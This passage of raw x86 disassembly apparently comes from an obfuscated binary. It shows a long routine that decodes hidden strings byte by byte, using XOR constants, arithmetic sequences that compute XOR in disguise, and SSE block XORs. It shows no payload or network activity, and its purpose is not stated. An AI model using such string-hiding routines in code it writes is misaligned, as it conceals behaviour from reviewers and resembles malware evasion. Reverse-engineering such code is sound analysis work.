add cl, al
and cl, 0xc0
sub al, cl
add al, 0xe0
mov byte [0x46317f], al
movzx eax, byte [0x462f80]
mov ecx, eax
add cl, al
and cl, 0x26
sub al, cl
add al, 0x13
mov byte [0x463180], al
movzx eax, byte [0x462f81]
mov ecx, eax
add cl, al
and cl, 0x20
sub al, cl
add al, 0x90
mov ecx, 0x99b3f1ae
xor ecx, dword [0x462f82]
mov byte [0x463181], al
mov dword [0x463182], ecx
movzx eax, byte [0x462f86]
xor al, 0xc7
mov byte [0x463186], al
movzx eax, byte [0x462f87]
xor al, 0xf1
mov byte [0x463187], al
movzx eax, byte [0x462f88]
mov ecx, eax
add cl, al
and cl, 0x66
sub al, cl
add al, 0xb3
mov byte [0x463188], al
movzx eax, byte [0x462f89]
xor al, 0x55
mov byte [0x463189], al
movzx eax, byte [0x462f8a]
xor al, 0x90
mov byte [0x46318a], al
movzx eax, byte [0x462f8b]
mov ecx, eax
not cl
or al, 0xe6
or cl, 0x19
and cl, al
not cl
mov byte [0x46318b], cl
movzx eax, byte [0x462f8c]
xor al, 0x7e
mov byte [0x46318c], al
movzx eax, byte [0x462f8d]
xor al, 0xe
mov byte [0x46318d], al
movzx eax, byte [0x462f8e]
xor al, 0x5a
mov byte [0x46318e], al
movzx eax, byte [0x462f8f]
mov ecx, eax
add cl, al
and cl, 0xce
sub al, cl
add al, 0xe7
mov byte [0x46318f], al
movzx eax, byte [0x462f90]
xor al, 0xb0
mov byte [0x463190], al
movzx eax, byte [0x462f91]
xor al, 0x6f
mov byte [0x463191], al
movzx eax, byte [0x462f92]
mov ecx, eax
add cl, al
and cl, 0xf0
sub al, cl
add al, 0xf8
mov ecx, 0x38090422
xor ecx, dword [0x462f93]
mov byte [0x463192], al
mov dword [0x463193], ecx
movzx eax, byte [0x462f97]
xor al, 0xf6
mov byte [0x463197], al
movzx eax, byte [0x462f98]
xor al, 0x6c
mov byte [0x463198], al
movzx eax, byte [0x462f99]
mov ecx, eax
add cl, al
and cl, 0xde
sub al, cl
add al, 0x6f
mov byte [0x463199], al
movzx eax, byte [0x462f9a]
xor al, 0x4a
mov byte [0x46319a], al
movzx eax, byte [0x462f9b]
xor al, 0xe5
mov byte [0x46319b], al
movzx eax, byte [0x462f9c]
xor al, 0x49
mov byte [0x46319c], al
movzx eax, byte [0x462f9d]
mov ecx, eax
add cl, al
and cl, 0x94
sub al, cl
add al, 0x4a
mov byte [0x46319d], al
movzx eax, byte [0x462f9e]
mov ecx, eax
add cl, al
and cl, 0x60
sub al, cl
add al, 0x30
movsd xmm0, qword [0x462f9f]
xorps xmm0, xmmword [0x45e5b0]
mov byte [0x46319e], al
movlps qword [0x46319f], xmm0
movzx eax, byte [0x462fa7]
mov ecx, eax
add cl, al
and cl, 0xa2
sub al, cl
add al, 0x51
mov byte [0x4631a7], al
movsd xmm0, qword [0x462fa8]
xorps xmm0, xmmword [0x45e5c0]
movlps qword [0x4631a8], xmm0
movzx eax, byte [0x462fb0]
mov ecx, eax
add cl, al
and cl, 0xe
sub al, cl
add al, 7
mov byte [0x4631b0], al
mov eax, 0xc84904c0
xor eax, dword [0x462fb1]
mov dword [0x4631b1], eax
movzx eax, byte [0x462fb5]
mov ecx, eax
add cl, al
and cl, 0xdc
sub al, cl
add al, 0x6e
mov byte [0x4631b5], al
movsd xmm0, qword [0x462fb6]
xorps xmm0, xmmword [0x45e5d0]
movlps qword [0x4631b6], xmm0
movzx eax, byte [0x462fbe]
xor al, 0xbb
mov byte [0x4631be], al
movzx eax, byte [0x462fbf]
xor al, 0x38
mov byte [0x4631bf], al
movzx eax, byte [0x462fc0]
mov ecx, eax
add cl, al
and cl, 0x30
sub al, cl
add al, 0x98
mov byte [0x4631c0], al
movzx eax, byte [str.S_V]
mov ecx, eax
not cl
or al, 0xab
or cl, 0x54
and cl, al
not cl
mov byte [0x4631c1], cl
movups xmm0, xmmword [0x462fc2]
xorps xmm0, xmmword [0x45e5e0]
movups xmmword [0x4631c2], xmm0
movzx eax, byte [0x462fd2]
xor al, 0xc
mov byte [0x4631d2], al
movzx eax, byte [0x462fd3]
xor al, 0x69
mov byte [0x4631d3], al
movzx eax, byte [0x462fd4]
xor al, 0xb4
mov byte [0x4631d4], al
movzx eax, byte [str._a7em]
mov byte [0x4631d5], al
movsd xmm0, qword [0x462fd6]
xorps xmm0, xmmword [0x45e5f0]
movlps qword [0x4631d6], xmm0
movzx eax, byte [0x462fde]
xor al, 0xf2
mov byte [0x4631de], al
movzx eax, byte [0x462fdf]
xor al, 0x4a
mov byte [0x4631df], al
movzx eax, byte [0x462fe0]
mov ecx, eax
add cl, al
and cl, 0xd8
sub al, cl
add al, 0xec
mov byte [0x4631e0], al
mov eax, 0xa97e8780
xor eax, dword [0x462fe1]
mov dword [0x4631e1], eax
movzx eax, byte [0x462fe5]
xor al, 0x53
mov byte [0x4631e5], al
movzx eax, byte [0x462fe6]
mov ecx, eax
not cl
or cl, 0xee
or al, 0x11
and al, cl
mov byte [0x4631e6], al
movzx eax, byte [0x462fe7]
xor al, 0x9b
mov byte [0x4631e7], al
movzx eax, byte [0x462fe8]
mov ecx, eax
add cl, al
and cl, 0x42
sub al, cl
add al, 0x21
mov byte [0x4631e8], al
movzx eax, byte [0x462fe9]
mov ecx, eax
not cl
or al, 0x82
or cl, 0x7d
and cl, al
not cl
mov byte [0x4631e9], cl
movsd xmm0, qword [0x462fea]
xorps xmm0, xmmword [0x45e600]
movlps qword [0x4631ea], xmm0
movzx eax, byte [0x462ff2]
xor al, 0x62
mov byte [0x4631f2], al
movzx eax, byte [0x462ff3]
mov ecx, eax
not cl
or al, 0xcd
or cl, 0x32
and cl, al
not cl
mov byte [0x4631f3], cl
movzx eax, byte [0x462ff4]
xor al, 0xab
mov byte [0x4631f4], al
movzx eax, byte [0x462ff5]
xor al, 0xa2
mov byte [0x4631f5], al
movzx eax, byte [0x462ff6]
xor al, 0xe5
mov byte [0x4631f6], al
movzx eax, byte [0x462ff7]
mov ecx, eax
add cl, al
and cl, 0x98
sub al, cl
add al, 0x4c
mov byte [0x4631f7], al
movzx eax, byte [0x462ff8]
mov ecx, eax
add cl, al
and cl, 0x3e
sub al, cl
add al, 0x9f
movups xmm0, xmmword [0x462ff9]
xorps xmm0, xmmword [0x45e610]
mov byte [0x4631f8], al
movups xmmword [0x4631f9], xmm0
movzx eax, byte [0x463009]
mov ecx, eax
add cl, al
and cl, 0x2c
sub al, cl
add al, 0x96
mov byte [0x463209], al
movzx eax, byte [0x46300a]
mov ecx, eax
not cl
or cl, 0xc0
or al, 0x3f
and al, cl
mov byte [0x46320a], al
movsd xmm0, qword [0x46300b]
xorps xmm0, xmmword [0x45e620]
movlps qword [0x46320b], xmm0
mov eax, 0x54f5ee45
xor eax, dword [0x463013]
mov dword [0x463213], eax
movzx eax, byte [0x463017]
xor al, 0xe1
mov byte [0x463217], al
movzx eax, byte [0x463018]
mov ecx, eax
add cl, al
and cl, 0xf6
sub al, cl
add al, 0xfb
mov byte [0x463218], al
movzx eax, byte [0x463019]
xor al, 0x1f
mov byte [0x463219], al
movzx eax, byte [0x46301a]
xor al, 0x8f
mov byte [0x46321a], al
movzx eax, byte [0x46301b]
mov ecx, eax
add cl, al
and cl, 0x1c
sub al, cl
add al, 0x8e
mov byte [0x46321b], al
movzx eax, byte [0x46301c]
xor al, 0xda
mov byte [0x46321c], al
movzx eax, byte [0x46301d]
xor al, 0xf4
mov byte [0x46321d], al
movzx eax, byte [0x46301e]
xor al, 0x1f
mov byte [str.i_r_0D], al
movzx eax, byte [0x46301f]
mov ecx, eax
not cl
or al, 0x90
or cl, 0x6f
and cl, al
not cl
mov byte [0x46321f], cl
movzx eax, byte [0x463020]
mov ecx, eax
not cl
or al, 0x7f
or cl, 0x80
and cl, al
not cl
mov byte [0x463220], cl
movzx eax, byte [0x463021]
xor al, 0xa2
mov byte [0x463221], al
movzx eax, byte [0x463022]
xor al, 0xc9
mov byte [0x463222], al
movzx eax, byte [0x463023]
xor al, 0x8a
mov byte [0x463223], al
movzx eax, byte [0x463024]
mov ecx, eax
add cl, al
and cl, 0x84
sub al, cl
add al, 0xc2
mov byte [0x463224], al
movzx eax, byte [0x463025]
xor al, 0x87
mov byte [0x463225], al
movzx eax, byte [0x463026]
xor al, 0xb1
mov byte [0x463226], al
movzx eax, byte [0x463027]
xor al, 0x5c
mov byte [0x463227], al
movzx eax, byte [0x463028]
mov ecx, eax
not cl
or cl, 0x58
or al, 0xa7
and al, cl
mov byte [0x463228], al
mov eax, 0xd689d6cf
xor eax, dword [0x463029]
mov dword [0x463229], eax
movzx eax, byte [0x46302d]
mov ecx, eax
not cl
or cl, 0x6f
or al, 0x90
and al, cl
mov byte [0x46322d], al
movzx eax, byte [0x46302e]
mov ecx, eax
add cl, al
and cl, 0xd6
sub al, cl
add al, 0xeb
mov byte [0x46322e], al
movzx eax, byte [0x46302f]
xor al, 0x4a
mov byte [0x46322f], al
movzx eax, byte [0x463030]
xor al, 0xf0
mov byte [0x463230], al
movzx eax, byte [0x463031]
xor al, 0x72
mov byte [0x463231], al
movzx eax, byte [0x463032]
mov ecx, eax
not cl
or cl, 0x19
or al, 0xe6
and al, cl
mov byte [0x463232], al
movzx eax, byte [0x463033]
xor al, 0x8b
mov byte [0x463233], al
movzx eax, byte [0x463034]
xor al, 0x59
mov byte [0x463234], al
movzx eax, byte [0x463035]
mov ecx, eax
add cl, al
and cl, 0x38
sub al, cl
add al, 0x1c
mov byte [0x463235], al
movzx eax, byte [0x463036]
mov ecx, eax
add cl, al
and cl, 0x2e
sub al, cl
add al, 0x97
mov byte [0x463236], al
movzx eax, byte [0x463037]
xor al, 0x26
mov byte [0x463237], al
movzx eax, byte [0x463038]
mov ecx, eax
add cl, al
and cl, 0x66
sub al, cl
add al, 0xb3
mov byte [0x463238], al
movzx eax, byte [0x463039]
xor al, 0x87
mov byte [0x463239], al
movzx eax, byte [0x46303a]
xor al, 0x13
mov byte [0x46323a], al
movzx eax, byte [0x46303b]
mov ecx, eax
add cl, al
and cl, 0x46
sub al, cl
add al, 0xa3
mov byte [0x46323b], al
movzx eax, byte [0x46303c]
mov ecx, eax
add cl, al
and cl, 0xe0
sub al, cl
add al, 0xf0
mov byte [0x46323c], al
movzx eax, byte [0x46303d]
xor al, 0xaa
mov byte [0x46323d], al
movzx eax, byte [0x46303e]
xor al, 0xa6
mov byte [0x46323e], al
movzx eax, byte [0x46303f]
mov ecx, eax
add cl, al
and cl, 0xbc
sub al, cl
add al, 0x5e
mov byte [0x46323f], al
movaps xmm0, xmmword [0x463040]
xorps xmm0, xmmword [0x45e630]
movss dword [0x463240], xmm0
movzx eax, byte [0x463044]
xor al, 0x8c
mov byte [0x463244], al
movzx eax, byte [0x463045]
xor al, 0xf5
mov byte [0x463245], al
movzx eax, byte [0x463046]
mov ecx, eax
add cl, al
and cl, 0xca
sub al, cl
add al, 0x65
mov byte [0x463246], al
movzx eax, byte [0x463047]
xor al, 0x2f
mov byte [0x463247], al
movzx eax, byte [0x463048]
xor al, 0xc1
mov byte [0x463248], al
movzx eax, byte [0x463049]
xor al, 0x64
mov byte [0x463249], al
movzx eax, byte [0x46304a]
mov ecx, eax
add cl, al
and cl, 0x58
sub al, cl
add al, 0x2c
mov byte [0x46324a], al
movzx eax, byte [0x46304b]
xor al, 0xc6
mov byte [0x46324b], al
movzx eax, byte [0x46304c]
xor al, 0x65
mov byte [0x46324c], al
movzx eax, byte [0x46304d]
xor al, 0x48
mov byte [0x46324d], al
movzx eax, byte [0x46304e]
mov ecx, eax
not cl
or cl, 0xcb
or al, 0x34
and al, cl
mov byte [0x46324e], al
movzx eax, byte [0x46304f]
mov ecx, eax
add cl, al
and cl, 0xea
sub al, cl
add al, 0xf5
mov byte [0x46324f], al
movaps xmm0, xmmword [0x463050]
xorps xmm0, xmmword [0x45e640]
movss dword [0x463250], xmm0
movzx eax, byte [0x463054]
xor al, 0xad
mov byte [0x463254], al
movzx eax, byte [0x463055]
xor al, 0xd1
mov byte [0x463255], al
movzx eax, byte [0x463056]
mov ecx, eax
add cl, al
and cl, 0x1e
sub al, cl
add al, 0x8f
mov byte [0x463256], al
movzx eax, byte [0x463057]
mov ecx, eax
add cl, al
and cl, 0x14
sub al, cl
add al, 0xa
mov byte [0x463257], al
movzx eax, byte [0x463058]
xor al, 0x1f
mov byte [0x463258], al
movzx eax, byte [0x463059]
mov ecx, eax
add cl, al
and cl, 0x4e
sub al, cl
add al, 0x27
mov byte [0x463259], al
movzx eax, byte [0x46305a]
xor al, 0x3d
mov byte [0x46325a], al
movzx eax, byte [0x46305b]
xor al, 0xce
mov byte [0x46325b], al
movzx eax, byte [0x46305c]
xor al, 0x31
mov byte [0x46325c], al
movzx eax, byte [0x46305d]
mov ecx, eax
add cl, al
and cl, 0x4a
sub al, cl
add al, 0x25
mov byte [0x46325d], al
movups xmm0, xmmword [0x46305e]
xorps xmm0, xmmword [0x45e650]
movups xmmword [0x46325e], xmm0
movzx eax, byte [0x46306e]
mov ecx, eax
add cl, al
and cl, 0xc
sub al, cl
add al, 0x86
mov byte [0x46326e], al
movzx eax, byte [0x46306f]
xor al, 0x12
mov byte [str.qGw], al
movzx eax, byte [0x463070]
xor al, 0xfe
mov byte [0x463270], al
movzx eax, byte [0x463071]
xor al, 0x6f
mov byte [0x463271], al
movzx eax, byte [0x463072]
mov ecx, eax
add cl, al
and cl, 0x16
sub al, cl
add al, 0x8b
mov ecx, 0x8bb93b2e
xor ecx, dword [0x463073]
mov byte [0x463272], al
mov dword [0x463273], ecx
movzx eax, byte [0x463077]
xor al, 0xc5
mov byte [0x463277], al
movzx eax, byte [0x463078]
mov ecx, eax
add cl, al
and cl, 0xc6
sub al, cl
add al, 0x63
mov byte [0x463278], al
movzx eax, byte [0x463079]
xor al, 0xd2
mov byte [0x463279], al
movzx eax, byte [0x46307a]
xor al, 0xe8
mov byte [0x46327a], al
movzx eax, byte [0x46307b]
xor al, 0x10
mov byte [0x46327b], al
movzx eax, byte [0x46307c]
mov ecx, eax
not cl
or al, 0x26
or cl, 0xd9
and cl, al
not cl
mov byte [0x46327c], cl
movzx eax, byte [0x46307d]
mov ecx, eax
add cl, al
and cl, 0x28
sub al, cl
add al, 0x14
mov byte [0x46327d], al
movzx eax, byte [0x46307e]
xor al, 0xb0
mov byte [0x46327e], al
movzx eax, byte [0x46307f]
xor al, 0x41
mov byte [0x46327f], al
movzx eax, byte [0x463320]
xor al, 0xcc
mov byte [0x4633a0], al
movzx eax, byte [0x463321]
mov ecx, eax
add cl, al
and cl, 0x3e
sub al, cl
add al, 0x9f
mov byte [0x4633a1], al
movzx eax, byte [0x463322]
xor al, 0x3b
mov byte [0x4633a2], al
movzx eax, byte [0x463323]
xor al, 0x38
mov byte [0x4633a3], al
movzx eax, byte [0x463324]
xor al, 0x1b
mov byte [0x4633a4], al
movzx eax, byte [0x463325]
mov ecx, eax
add cl, al
and cl, 0xf8
sub al, cl
add al, 0x7c
mov byte [0x4633a5], al
movzx eax, byte [0x463326]
mov ecx, eax
add cl, al
and cl, 0x2e
sub al, cl
add al, 0x17
mov byte [0x4633a6], al
movzx eax, byte [0x463327]
xor al, 0x9c
mov byte [0x4633a7], al
movzx eax, byte [0x463328]
mov ecx, eax
add cl, al
and cl, 0xc6
sub al, cl
add al, 0x63
mov byte [0x4633a8], al
movzx eax, byte [0x463329]
mov ecx, eax
add cl, al
and cl, 0x94
sub al, cl
add al, 0x4a
mov byte [0x4633a9], al
mov eax, 0xaeb5cd9b
xor eax, dword [0x46332a]
mov dword [0x4633aa], eax
movzx eax, byte [0x46332e]
xor al, 0x5c
mov byte [0x4633ae], al
movzx eax, byte [0x46332f]
xor al, 0xa3
mov byte [0x4633af], al
movzx eax, byte [0x463330]
xor al, 0xe7
mov byte [0x4633b0], al
movzx eax, byte [0x463331]
mov ecx, eax
add cl, al
and cl, 0x8c
sub al, cl
add al, 0x46
mov byte [0x4633b1], al
movsd xmm0, qword [0x463332]
xorps xmm0, xmmword [0x45e660]
movlps qword [0x4633b2], xmm0
mov eax, 0xe5332bbc
xor eax, dword [0x46333a]
mov dword [0x4633ba], eax
movzx eax, byte [0x46333e]
xor al, 0xc2
mov byte [0x4633be], al
movzx eax, byte [0x46333f]
xor al, 0xb1
mov byte [0x4633bf], al
movzx eax, byte [0x463340]
mov ecx, eax
add cl, al
and cl, 0xde
sub al, cl
add al, 0x6f
mov byte [0x4633c0], al
movzx eax, byte [0x463341]
xor al, 0xed
mov byte [0x4633c1], al
movzx eax, byte [0x463342]
xor al, 0xe2
mov byte [0x4633c2], al
movzx eax, byte [0x463343]
mov ecx, eax
add cl, al
and cl, 8
sub al, cl
add al, 0x84
mov byte [0x4633c3], al
movzx eax, byte [0x463344]
xor al, 0x86
mov byte [0x4633c4], al
movzx eax, byte [0x463345]
xor al, 0x66
mov byte [0x4633c5], al
movzx eax, byte [0x463346]
xor al, 0xb0
mov byte [0x4633c6], al
movzx eax, byte [0x463347]
mov ecx, eax
add cl, al
and cl, 0xfa
sub al, cl
add al, 0xfd
movsd xmm0, qword [0x463348]
xorps xmm0, xmmword [0x45e670]
mov byte [0x4633c7], al
movlps qword [0x4633c8], xmm0
movzx eax, byte [0x463350]
xor al, 0x52
mov byte [0x4633d0], al
movzx eax, byte [0x463351]
xor al, 0x90
mov byte [0x4633d1], al
movzx eax, byte [0x463352]
xor al, 0x87
mov byte [0x4633d2], al
movzx eax, byte [0x463353]
mov ecx, eax
add cl, al
and cl, 0xe4
sub al, cl
add al, 0xf2
mov ecx, 0x2f03097b
xor ecx, dword [0x463354]
mov byte [0x4633d3], al
mov dword [0x4633d4], ecx
movzx eax, byte [0x463358]
xor al, 0xe1
mov byte [0x4633d8], al
movzx eax, byte [0x463359]
xor al, 0x60
mov byte [0x4633d9], al
movzx eax, byte [0x46335a]
mov ecx, eax
add cl, al
and cl, 0xe6
sub al, cl
add al, 0xf3
mov byte [0x4633da], al
movzx eax, byte [0x46335b]
xor al, 0x3a
mov byte [0x4633db], al
movzx eax, byte [0x46335c]
mov ecx, eax
add cl, al
and cl, 0xd8
sub al, cl
add al, 0x6c
mov byte [0x4633dc], al
movzx eax, byte [0x46335d]
not al
mov byte [0x4633dd], al
movzx eax, byte [0x46335e]
xor al, 0xb1
mov byte [0x4633de], al
movzx eax, byte [0x46335f]
mov ecx, eax
not cl
or al, 0xbf
or cl, 0x40
and cl, al
not cl
mov byte [0x4633df], cl
movaps xmm0, xmmword [0x463360]
xorps xmm0, xmmword [0x45e680]
movss dword [0x4633e0], xmm0
movzx eax, byte [0x463364]
mov ecx, eax
add cl, al
and cl, 0x44
sub al, cl
add al, 0xa2
mov byte [0x4633e4], al
movzx eax, byte [0x463365]
xor al, 0xbc
mov byte [0x4633e5], al
movzx eax, byte [0x463366]
mov ecx, eax
add cl, al
and cl, 0x9c
sub al, cl
add al, 0xce
mov byte [0x4633e6], al
movzx eax, byte [0x463367]
mov ecx, eax
not cl
or cl, 0x82
or al, 0x7d
and al, cl
mov byte [0x4633e7], al
movzx eax, byte [0x463368]
xor al, 0xf4
mov byte [0x4633e8], al
movzx eax, byte [0x463369]
xor al, 0xd8
mov byte [0x4633e9], al
movzx eax, byte [0x46336a]
xor al, 0xb9
mov byte [0x4633ea], al
movzx eax, byte [0x46336b]
mov ecx, eax
add cl, al
and cl, 0x52
sub al, cl
add al, 0xa9
mov byte [0x4633eb], al
movzx eax, byte [0x46336c]
xor al, 0x63
mov byte [0x4633ec], al
movzx eax, byte [0x46336d]
xor al, 0x61
mov byte [0x4633ed], al
movzx eax, byte [0x46336e]
mov ecx, eax
add cl, al
and cl, 0x4a
sub al, cl
add al, 0xa5
mov byte [0x4633ee], al
movzx eax, byte [0x46336f]
xor al, 0xcd
mov byte [0x4633ef], al
movzx eax, byte [0x463370]
mov ecx, eax
not cl
or al, 0xa2
or cl, 0x5d
and cl, al
not cl
mov byte [0x4633f0], cl
movzx eax, byte [0x463371]
xor al, 0xd1
mov byte [0x4633f1], al
movzx eax, byte [0x463372]
mov ecx, eax
add cl, al
and cl, 0xd4
sub al, cl
add al, 0xea
mov byte [0x4633f2], al
movzx eax, byte [0x463373]
xor al, 0x3c
mov byte [0x4633f3], al
movzx eax, byte [0x463374]
mov ecx, eax
not cl
or cl, 0xbd
or al, 0x42
and al, cl
mov byte [0x4633f4], al
movzx eax, byte [0x463375]
mov ecx, eax
add cl, al
and cl, 0xb2
sub al, cl
add al, 0x59
movsd xmm0, qword [0x463376]
xorps xmm0, xmmword [0x45e690]
mov byte [0x4633f5], al
movlps qword [0x4633f6], xmm0
movzx eax, byte [0x46337e]
xor al, 0x7c
mov byte [0x4633fe], al
movzx eax, byte [0x46337f]
xor al, 0xa7
mov byte [0x4633ff], al
movzx eax, byte [0x463380]
mov ecx, eax
add cl, al
and cl, 0x42
sub al, cl
add al, 0xa1
mov byte [0x463400], al
movzx eax, byte [0x463381]
xor al, 0x35
mov byte [0x463401], al
movzx eax, byte [0x463382]
mov ecx, eax
add cl, al
and cl, 0xe4
sub al, cl
add al, 0x72
mov byte [0x463402], al
movzx eax, byte [0x463383]
xor al, 0x67
mov byte [0x463403], al
movzx eax, byte [0x463384]
mov ecx, eax
not cl
or al, 0x14
or cl, 0xeb
and cl, al
not cl
mov byte [0x463404], cl
movzx eax, byte [0x463385]
xor al, 0x97
mov byte [0x463405], al
movzx eax, byte [0x463386]
xor al, 0x98
mov byte [str._MJH5], al
movzx eax, byte [0x463387]
mov ecx, eax
add cl, al
and cl, 0xc0
sub al, cl
add al, 0xe0
mov byte [0x463407], al
movzx eax, byte [str.bc]
xor al, 0x6f
mov byte [0x463408], al
movzx eax, byte [0x463389]
xor al, 0xd7
mov byte [0x463409], al
movzx eax, byte [0x46338a]
xor al, 0xa0
mov byte [0x46340a], al
movzx eax, byte [0x46338b]
mov ecx, eax
add cl, al
and cl, 0xa6
sub al, cl
add al, 0x53
mov byte [0x46340b], al
mov eax, 0xd4e3d46e
xor eax, dword [0x46338c]
mov dword [0x46340c], eax
movzx eax, byte [0x463390]
xor al, 0x95
mov byte [0x463410], al
movzx eax, byte [0x463391]
xor al, 0x29
mov byte [0x463411], al
movzx eax, byte [0x463392]
xor al, 0xaa
mov byte [0x463412], al
movzx eax, byte [0x463393]
mov ecx, eax
add cl, al
and cl, 0x48
sub al, cl
add al, 0x24
mov byte [0x463413], al
movzx eax, byte [0x463394]
xor al, 0x49
mov byte [0x463414], al
movzx eax, byte [0x463395]
xor al, 0x52
mov byte [0x463415], al
movzx eax, byte [0x463396]
mov ecx, eax
add cl, al
and cl, 0x30
sub al, cl
add al, 0x18
mov byte [0x463416], al
movzx eax, byte [0x463397]
xor al, 0xe8
mov byte [0x463417], al
movzx eax, byte [0x463398]
mov ecx, eax
not cl
or cl, 0x86
or al, 0x79
and al, cl
mov byte [0x463418], al
movzx eax, byte [0x463399]
mov ecx, eax
not cl
or al, 0xf
or cl, 0xf0
and cl, al
not cl
mov byte [0x463419], cl
movzx eax, byte [0x46339a]
mov ecx, eax
add cl, al
and cl, 0x1a
sub al, cl
add al, 0xd
mov byte [0x46341a], al
mov eax, 0x5c0756d0
xor eax, dword [0x46339b]
mov dword [0x46341b], eax
movzx eax, byte [0x46339f]
xor al, 0xb2
movaps xmm0, xmmword [0x463920]
xorps xmm0, xmmword [0x45e6a0]
mov byte [0x46341f], al
movss dword [0x463a20], xmm0
movzx eax, byte [0x463924]
xor al, 0xa5
mov byte [0x463a24], al
movzx eax, byte [0x463925]
xor al, 0x74
mov byte [0x463a25], al
movzx eax, byte [0x463926]
mov ecx, eax
add cl, al
and cl, 0xc
sub al, cl
add al, 0x86
mov byte [0x463a26], al
movzx eax, byte [0x463927]
mov ecx, eax
add cl, al
and cl, 0x2c
sub al, cl
add al, 0x96
mov ecx, 0xbef4f720
xor ecx, dword [0x463928]
mov byte [0x463a27], al
mov dword [0x463a28], ecx
movzx eax, byte [0x46392c]
xor al, 0x7b
mov byte [0x463a2c], al
movzx eax, byte [0x46392d]
xor al, 0xa0
mov byte [0x463a2d], al
movzx eax, byte [0x46392e]
mov ecx, eax
add cl, al
and cl, 0xa0
sub al, cl
add al, 0x50
mov byte [0x463a2e], al
mov eax, 0x5506dbeb
xor eax, dword [0x46392f]
mov dword [0x463a2f], eax
movzx eax, byte [0x463933]
xor al, 0x41
mov byte [0x463a33], al
movzx eax, byte [0x463934]
xor al, 0xc5
mov byte [0x463a34], al
movzx eax, byte [0x463935]
xor al, 0x4e
mov byte [0x463a35], al
movzx eax, byte [0x463936]
mov ecx, eax
add cl, al
and cl, 0x48
sub al, cl
add al, 0x24
mov byte [0x463a36], al
mov eax, 0x98d8b863
xor eax, dword [0x463937]
mov dword [0x463a37], eax
movzx eax, byte [0x46393b]
xor al, 7
mov byte [0x463a3b], al
movzx eax, byte [0x46393c]
xor al, 0xc8
mov byte [0x463a3c], al
movzx eax, byte [0x46393d]
mov ecx, eax
not cl
or cl, 0xdb
or al, 0x24
and al, cl
mov byte [0x463a3d], al
mov eax, 0x9880a2f2
xor eax, dword [0x46393e]
mov dword [0x463a3e], eax
movzx eax, byte [0x463942]
xor al, 0xeb
mov byte [0x463a42], al
movzx eax, byte [0x463943]
xor al, 0xbf
mov byte [0x463a43], al
movzx eax, byte [0x463944]
xor al, 0xd6
mov byte [0x463a44], al
movzx eax, byte [0x463945]
mov ecx, eax
add cl, al
and cl, 0xc8
sub al, cl
add al, 0x64
mov byte [0x463a45], al
movzx eax, byte [0x463946]
mov ecx, eax
add cl, al
and cl, 0x34
sub al, cl
add al, 0x9a
mov byte [0x463a46], al
movsd xmm0, qword [0x463947]
xorps xmm0, xmmword [0x45e6b0]
movlps qword [0x463a47], xmm0
movzx eax, byte [0x46394f]
xor al, 0x42
mov byte [0x463a4f], al
movzx eax, byte [0x463950]
xor al, 0x7c
mov byte [0x463a50], al
movzx eax, byte [0x463951]
xor al, 0xdf
mov byte [0x463a51], al
movzx eax, byte [0x463952]
mov ecx, eax
add cl, al
and cl, 0xc8
sub al, cl
add al, 0x64
mov byte [0x463a52], al
movzx eax, byte [0x463953]
mov ecx, eax
add cl, al
and cl, 0xb0
sub al, cl
add al, 0xd8
mov byte [0x463a53], al
movzx eax, byte [0x463954]
xor al, 0xcf
mov byte [0x463a54], al
movzx eax, byte [0x463955]
xor al, 0x16
mov byte [0x463a55], al
movzx eax, byte [0x463956]
mov ecx, eax
add cl, al
and cl, 0x5e
sub al, cl
add al, 0x2f
mov byte [0x463a56], al
mov eax, 0xfadbd4d3
xor eax, dword [0x463957]
mov dword [0x463a57], eax
movzx eax, byte [0x46395b]
xor al, 0x32
mov byte [0x463a5b], al
movzx eax, byte [0x46395c]
mov ecx, eax
add cl, al
and cl, 0x68
sub al, cl
add al, 0x34
mov byte [0x463a5c], al
mov eax, 0x2d6d2f92
xor eax, dword [0x46395d]
mov dword [0x463a5d], eax
movzx eax, byte [0x463961]
mov ecx, eax
not cl
or cl, 0x4e
or al, 0xb1
and al, cl
mov byte [0x463a61], al
movsd xmm0, qword [0x463962]
xorps xmm0, xmmword [0x45e6c0]
movlps qword [0x463a62], xmm0
movzx eax, byte [0x46396a]
xor al, 0x70
mov byte [0x463a6a], al
movzx eax, byte [0x46396b]
xor al, 0xe8
mov byte [0x463a6b], al
movzx eax, byte [0x46396c]
mov ecx, eax
not cl
or al, 0x52
or cl, 0xad
and cl, al
not cl
mov byte [0x463a6c], cl
movzx eax, byte [0x46396d]
mov ecx, eax
add cl, al
and cl, 0x46
sub al, cl
add al, 0xa3
mov byte [0x463a6d], al
movzx eax, byte [0x46396e]
xor al, 0x8b
mov byte [0x463a6e], al
movzx eax, byte [0x46396f]
mov ecx, eax
add cl, al
and cl, 0x16
sub al, cl
add al, 0x8b
mov byte [0x463a6f], al
movzx eax, byte [0x463970]
mov ecx, eax
add cl, al
and cl, 0x96
sub al, cl
add al, 0x4b
mov byte [0x463a70], al
movzx eax, byte [0x463971]
xor al, 0x61
mov byte [0x463a71], al
movzx eax, byte [0x463972]
xor al, 0xb0
mov byte [0x463a72], al
movzx eax, byte [0x463973]
xor al, 0xc5
mov byte [0x463a73], al
movzx eax, byte [0x463974]
mov ecx, eax
add cl, al
and cl, 0x60
sub al, cl
add al, 0x30
mov byte [0x463a74], al
movzx eax, byte [0x463975]
xor al, 0x52
mov byte [0x463a75], al
movzx eax, byte [0x463976]
mov ecx, eax
add cl, al
and cl, 0xb8
sub al, cl
add al, 0xdc
mov byte [0x463a76], al
movzx eax, byte [0x463977]
xor al, 0x2e
mov byte [0x463a77], al
movzx eax, byte [0x463978]
mov ecx, eax
add cl, al
and cl, 0x64
sub al, cl
add al, 0x32
mov byte [0x463a78], al
movzx eax, byte [0x463979]
xor al, 4
mov byte [0x463a79], al
movzx eax, byte [str._z4]
mov ecx, eax
add cl, al
and cl, 0x40
sub al, cl
add al, 0x20
mov byte [0x463a7a], al
mov eax, 0x30aeda7e
xor eax, dword [0x46397b]
mov dword [0x463a7b], eax
movzx eax, byte [0x46397f]
xor al, 0xbf
mov byte [0x463a7f], al
movzx eax, byte [0x463980]
mov ecx, eax
add cl, al
and cl, 0xce
sub al, cl
add al, 0x67
mov byte [0x463a80], al
movzx eax, byte [0x463981]
xor al, 0x5e
mov byte [0x463a81], al
movzx eax, byte [0x463982]
xor al, 0xcc
mov byte [str..2_:], al
movzx eax, byte [0x463983]
mov ecx, eax
add cl, al
and cl, 0xa8
sub al, cl
add al, 0xd4
mov byte [0x463a83], al
movzx eax, byte [0x463984]
xor al, 0xdc
mov byte [0x463a84], al
movzx eax, byte [0x463985]
xor al, 0xf7
mov byte [0x463a85], al
movzx eax, byte [str.__Sk]
xor al, 0x2c
mov byte [0x463a86], al
